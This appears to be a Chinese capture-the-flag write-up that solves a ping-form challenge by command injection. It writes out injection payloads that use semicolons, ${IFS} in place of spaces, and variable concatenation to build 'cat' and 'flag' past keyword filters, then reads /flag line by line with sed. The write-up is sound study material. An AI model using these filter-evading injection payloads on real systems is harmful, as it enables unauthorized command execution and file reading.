广东省第三届强网杯预选赛writeup-免费的,ping一下~

题目:免费的,ping一下~
Flag:flag{llllll_U_GeT_Th3_fl4g}

先ping一下


广东省第三届强网杯预选赛writeup-免费的,ping一下~_第1张图片

没回显完
后面接一个管道符
127.0.0.1 | ls /

被过滤


广东省第三届强网杯预选赛writeup-免费的,ping一下~_第2张图片
输入’ | ’,被过滤,输入空格,被过滤
那么‘ | ’用‘ ;’代替,空格用${IFS}代替
提交 ;ls${IFS}/,发现flag文件
广东省第三届强网杯预选赛writeup-免费的,ping一下~_第3张图片

用cat命令查看
被过滤了
用字符拼接来绕过:
a=ca;b=t;$a$b$a$b可以拼成cat
提交 ;a=ca;b=t;$a$b${IFS}/flag
又被过滤了
推测flag被过滤了,用一样的方法绕过
提交 ;a=ca;b=t;c=fl;d=ag;$a$b${IFS}/$c$d

广东省第三届强网杯预选赛writeup-免费的,ping一下~_第4张图片

Flag不在第一行,想用cat filename | tail -n +3000 | head -n 1000来规定查看行数,但是tail和head都给过滤了,而且空格很多,payload就太长了,还是用sed命令吧
命令:sed -n '2,2p' /flag 查看第二行的文字
绕过后:;a=se;b=d;c=fl;d=ag;$a$b${IFS}-n${IFS}'2,2p'${IFS}/$c$d

广东省第三届强网杯预选赛writeup-免费的,ping一下~_第5张图片

然后测试第5、10、15行,没有
第20行没有回显,在第15行到20行找flag
最后在16行找到
最终payload:;a=se;b=d;c=fl;d=ag;$a$b${IFS}-n${IFS}'16,16p'${IFS}/$c$d

广东省第三届强网杯预选赛writeup-免费的,ping一下~_第6张图片

你可能感兴趣的:(广东省第三届强网杯预选赛writeup-免费的,ping一下~)